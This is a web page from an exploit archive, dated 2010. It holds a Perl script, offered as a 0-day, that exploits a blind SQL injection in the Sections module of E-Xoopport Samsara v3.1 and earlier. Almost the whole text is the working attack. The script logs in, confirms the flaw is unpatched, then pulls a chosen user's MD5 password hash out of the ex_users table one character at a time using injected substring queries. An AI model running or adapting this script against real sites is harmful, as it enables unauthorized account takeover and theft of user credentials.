[webapps / 0day] - E-Xoopport - Samsara <= v3.1 (Sections
Posted on 14 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>E-Xoopport - Samsara <= v3.1 (Sections Module) Blind SQL Injection | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: _mRkZ_' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>================================================================== E-Xoopport - Samsara <= v3.1 (Sections Module) Blind SQL Injection ================================================================== #!/usr/bin/perl # [0-Day] E-Xoopport - Samsara <= v3.1 (Sections Module 2) Remote Blind SQL Injection Exploit # Author/s: _mRkZ_ & Dante90, WaRWolFz Crew # Created: 2010.09.12 after 0 days the bug was discovered. # Web Site: www.warwolfz.org use LWP::UserAgent; use HTTP::Cookies; use HTTP::Request::Common; $^O eq 'MSWin32' ? system('cls') : system('clear'); print " E-Xoopport - Samsara <= v3.1 (Sections Module) Remote Blind SQL Injection Exploit +---------------------------------------------------+ | Script: E-Xoopport | | Affected versions: 3.1 | | Bug: Remote Blind SQL Injection (Sections Module) | | Author/s: _mRkZ_ & Dante90, WaRWolFz Crew | | Web Site: www.warwolfz.org | +---------------------------------------------------+ "; if (@ARGV != 4) { print " Usage: perl expolit_name.pl <VictimeHost> <YourNick> <YourPass> <NickToHack> "; exit; } $host = $ARGV[0]; $usr = $ARGV[1]; $pwd = $ARGV[2]; $anickde = $ARGV[3]; $anick = '0x'.EncHex($anickde); print "[+] Logging In... "; my %postdata = ( uname => "$usr", pass => "$pwd" ); $ua = LWP::UserAgent->new; $ua->agent("Mozilla 5.0"); my $req = (POST $host, \%postdata); my $cookies = HTTP::Cookies->new(); $request = $ua->request($req); $ua->cookie_jar($cookies); $content = $request->content; if ($content =~ /<head><meta http-equiv="Refresh" content="0; URL=modules/news/" /></head>/i) { print "[+] Logged in "; } else { print "[-] Fatal Error: username/password incorrect? "; exit; } print "[!] Retriving section id... "; $idi = 0; while ($idi != 11) { $idi++; $ua = LWP::UserAgent->new; $ua->agent("Mozilla 5.0"); my $req = $host."/modules/sections/index.php?op=listarticles&secid=$idi"; $request = $ua->get($req); $ua->cookie_jar($cookies); $content = $request->content; if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)</b>/ig) { $secid = $idi; last; } } if(!defined $secid) { print "[-] Fatal Error: Section id not found! "; exit; } else { print "[+] Section id '$secid' retrieved "; } print "[!] Checking path... "; $ua = LWP::UserAgent->new; $ua->agent("Mozilla 5.0"); my $req = $host."/modules/sections/index.php?op=listarticles&secid=$secid"; $request = $ua->get($req); $ua->cookie_jar($cookies); $content = $request->content; if ($content =~ /Ecco i documenti della sezione/i) { print "[+] Correct Path "; } else { print "[-] Fatal Error: Wrong Path "; exit; } print "[!] Checking if vulnerability has been fixed... "; $ua = LWP::UserAgent->new; $ua->agent("Mozilla 5.0"); my $req = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+1=1"; $request = $ua->get($req); $ua->cookie_jar($cookies); $content = $request->content; if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)</b>/ig) { print "[+] Vulnerability has not been fixed... "; } else { print "[-] Fatal Error: Vulnerability has been fixed "; open LOGG, ">log.html"; print LOGG $content; close LOGG; exit; } print "[!] Checking nick to hack... "; $ua = LWP::UserAgent->new; $ua->agent("Mozilla 5.0"); my $req = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),32,1))>0"; $request = $ua->get($req); $ua->cookie_jar($cookies); $content = $request->content; if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)</b>/ig) { print "[+] Nick exists... "; } else { print "[-] Fatal Error: Nick does not exists "; exit; } print "[!] Exploiting... "; my $i = 1; while ($i != 33) { my $wn = 47; while (1) { $wn++; $ua = LWP::UserAgent->new; $ua->agent("Mozilla 5.0"); my $req = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),$i,1))=$wn"; $request = $ua->get($req); $ua->cookie_jar($cookies); $content = $request->content; if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)</b>/ig) { $pwdchr .= chr($wn); $^O eq 'MSWin32' ? system('cls') : system('clear'); PrintChars($anickde, $pwdchr, $secid); last; } } $i++; } print " [+] Exploiting completed! "; print "Visit: www.warwolfz.net "; sub PrintChars { $anick1 = $_[0]; $chars = $_[1]; $secid = $_[2]; print " E-Xoopport - Samsara <= v3.1 (Sections Module) Remote Blind SQL Injection Exploit +---------------------------------------------------+ | Script: E-Xoopport | | Affected versions: 3.1 | | Bug: Remote Blind SQL Injection (Sections Module) | | Author/s: _mRkZ_ & Dante90, WaRWolFz Crew | | Web Site: www.warwolfz.org | +---------------------------------------------------+ [+] Logging In... [+] Logged in [!] Retriving section id... [+] Section id '$secid' retrived [!] Checking path... [+] Correct Path [!] Checking if vulnerability has been fixed... [+] Vulnerability has not been fixed... [!] Checking nick to hack... [+] Nick exists... [!] Exploiting... [+] ".$anick1."'s md5 Password: $chars "; } sub EncHex { $char = $_[0]; chomp $char; @trans = unpack("H*", "$char"); return $trans[0]; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-14]</pre></body></html>
